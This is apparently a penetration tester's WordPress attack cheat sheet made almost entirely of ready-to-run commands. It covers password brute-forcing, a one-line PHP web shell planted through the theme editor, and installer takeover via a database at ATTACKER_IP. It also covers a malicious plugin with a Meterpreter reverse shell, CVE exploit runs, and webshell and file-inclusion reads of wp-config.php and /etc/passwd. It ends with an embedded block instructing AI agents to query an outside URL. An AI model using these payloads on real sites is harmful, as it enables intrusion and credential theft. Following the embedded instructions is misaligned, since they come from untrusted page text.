# WordPress

## Discovery

```bash
# Version in meta tag
curl -s http://TARGET | grep 'content="WordPress'

# Version in readme
curl -s http://TARGET/readme.html

# Login page
/wp-login.php
/wp-admin/
```

***

## WPScan Enumeration

```bash
# Basic scan
wpscan --url http://TARGET

# Enumerate users, vulnerable plugins, and vulnerable themes in one pass
wpscan --url http://TARGET -e u,vp,vt

# Enumerate users
wpscan --url http://TARGET --enumerate u

# Enumerate plugins
wpscan --url http://TARGET --enumerate p

# Enumerate vulnerable plugins
wpscan --url http://TARGET --enumerate vp

# Aggressive plugin detection
wpscan --url http://TARGET --enumerate p --plugins-detection aggressive
```

***

## Brute Force (WPScan)

```bash
# XMLRPC method (faster)
wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://TARGET

# wp-login method
wpscan --password-attack wp-login -t 20 -U admin,john -P passwords.txt --url http://TARGET

# With user list file
wpscan --password-attack xmlrpc -U users.txt -P passwords.txt --url http://TARGET
```

***

## Theme Editor RCE (Authenticated)

1. Login as admin
2. `Appearance → Theme Editor`
3. Select inactive theme (e.g., Twenty Nineteen)
4. Edit `404.php`
5. Add web shell:

```php
system($_GET[0]);
```

6. Access: `http://TARGET/wp-content/themes/twentynineteen/404.php?0=id`

***

## Metasploit RCE

```bash
use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME john
set PASSWORD firebird1
set RHOSTS TARGET_IP
set VHOST blog.domain.local
set TARGETURI /
run
```

***

## Exposed Installer Takeover

If WordPress is left at `/wp-admin/setup-config.php`, you can sometimes complete the install yourself by making the target connect to a database you control.

Start a throwaway MySQL instance on the attacker box:

```bash
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=admin123 -p 3306:3306 -d mysql:latest
mysql -u root -h 127.0.0.1 -padmin123 -e "CREATE DATABASE wordpress;"
```

Fill the setup form with:

```
Database name: wordpress
Username: root
Password: admin123
Database host: ATTACKER_IP:3306
Table prefix: wp_
```

If the page says the database server was reached but the database could not be selected, create the database name it expects and retry. Once setup succeeds, create the WordPress admin user, log in at `/wp-login.php`, and use theme editor or plugin upload for code execution.

***

## Malicious plugin upload (wordpwn)

When the **Theme Editor** is disabled or PHP changes are reverted (“upload by some other means, such as SFTP”), use a **malicious plugin** instead. You need admin access (e.g. default or brute-forced creds).

**Tool:** [wetw0rk/malicious-wordpress-plugin](https://github.com/wetw0rk/malicious-wordpress-plugin) — generates a plugin zip containing a Meterpreter or webshell payload.

```bash
git clone https://github.com/wetw0rk/malicious-wordpress-plugin.git
cd malicious-wordpress-plugin

# Generate plugin with meterpreter reverse TCP (set LHOST/LPORT)
python3 wordpwn.py LHOST LPORT php/meterpreter/reverse_tcp

# Start listener
msfconsole -q -x "use multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"
```

**Upload:** As admin, go to **Plugins → Add New → Upload Plugin** and upload the generated `malicious.zip`.\
**URL:** `http://TARGET/wp-admin/plugin-install.php?tab=upload`

**Activate** the plugin, then trigger the shell:

| Trigger URL                                                            |
| ---------------------------------------------------------------------- |
| `http://TARGET/wp-content/plugins/malicious/wetw0rk_maybe.php`         |
| `http://TARGET/wp-content/plugins/malicious/QwertyRocks.php`           |
| `http://TARGET/wp-content/plugins/malicious/SWebTheme.php?cmd=COMMAND` |

Use the first or second for Meterpreter; the third runs a single command via `?cmd=`. Shell runs as the web server user (e.g. www-data).

***

## Vulnerable Plugins

### Simple File List 4.2.2 pre-auth RCE

WordPress **Simple File List** versions around `4.2.2` can be abused for unauthenticated file upload / RCE. This is useful when WPScan finds the plugin under `/wp-content/plugins/simple-file-list/` and the WordPress site has public uploads enabled.

```bash
wpscan --url http://TARGET --enumerate p --plugins-detection aggressive
```

Look for:

```
[+] simple-file-list
 | Location: http://TARGET/wp-content/plugins/simple-file-list/
 | Version: 4.2.2
```

Uploads commonly land under:

```
http://TARGET/wp-content/uploads/simple-file-list/
```

Public reference:

* CVE-2025-34085 PoC

```bash
git clone https://github.com/0xgh057r3c0n/CVE-2025-34085.git
cd CVE-2025-34085
python3 CVE-2025-34085.py -u http://TARGET --cmd id
```

Expected output includes the uploaded PHP path:

```
[DEBUG] Command Output:
uid=33(http) gid=33(http) groups=33(http)

[+] http://TARGET | http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php
```

Use the webshell directly and read WordPress config for credential reuse:

```bash
curl 'http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php?cmd=id'
curl 'http://TARGET/wp-content/uploads/simple-file-list/RANDOM.php?cmd=cat%20../../../wp-config.php'
```

High-value values:

```php
define('DB_NAME', 'wordpress');
define('DB_USER', 'username');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');
```

If the DB username also exists as a system user, try SSH with the database password:

```bash
ssh username@TARGET
```

### Tutor LMS authenticated issues

Tutor LMS old versions, such as `1.5.3`, may have authenticated attack paths. Check registration first; if registration is disabled, you need existing credentials before using authenticated PoCs.

```bash
python3 exploit-cve-2024-3553-v2.py http://TARGET --check-only
```

Useful references:

* CVE-2024-10400: `https://github.com/k0ns0l/CVE-2024-10400`
* CVE-2024-3553: `https://github.com/RandomRobbieBF/CVE-2024-3553`

### mail-masta LFI (unauthenticated)

```bash
curl http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
```

**Full exploitation walkthrough:**

1. Confirm LFI by reading `/etc/passwd`:

```bash
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd'
```

2. Read Apache config to find the document root:

```bash
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/apache2.conf'
# Look for: <Directory /var/www/>
```

3. Read files from the discovered webroot:

```bash
curl 'http://TARGET/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/www/html/flag.txt'
```

There is also a Python exploit script on Exploit-DB (`mail-masta.py`) that automates fuzzing for files via this LFI. The original script has bugs — the fixed version uses a try/except fallback to manually read `/etc/passwd` if the wordlist is missing:

```python
except:
    response = requests.get(target + endpoint + "/etc/passwd")
    if len(response.content) > 500:
        print(response.content)
    else:
        print("likely failed, confirm manually with: curl http://<target>/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd")
```

### wpDiscuz RCE (CVE-2020-24186)

```bash
python3 wp_discuz.py -u http://TARGET -p /?p=1

# If exploit fails, use uploaded webshell
curl http://TARGET/wp-content/uploads/2021/08/SHELL.php?cmd=id
```

***

## Important Paths

| Path                   | Description    |
| ---------------------- | -------------- |
| `/wp-config.php`       | DB credentials |
| `/wp-content/uploads/` | Uploaded files |
| `/wp-content/plugins/` | Plugins        |
| `/wp-content/themes/`  | Themes         |
| `/xmlrpc.php`          | XML-RPC API    |

***

## Config File Locations

```bash
# Linux
/var/www/html/wp-config.php
/var/www/wordpress/wp-config.php

# Database creds in wp-config.php
define('DB_NAME', 'database_name');
define('DB_USER', 'username');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/wordpress.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
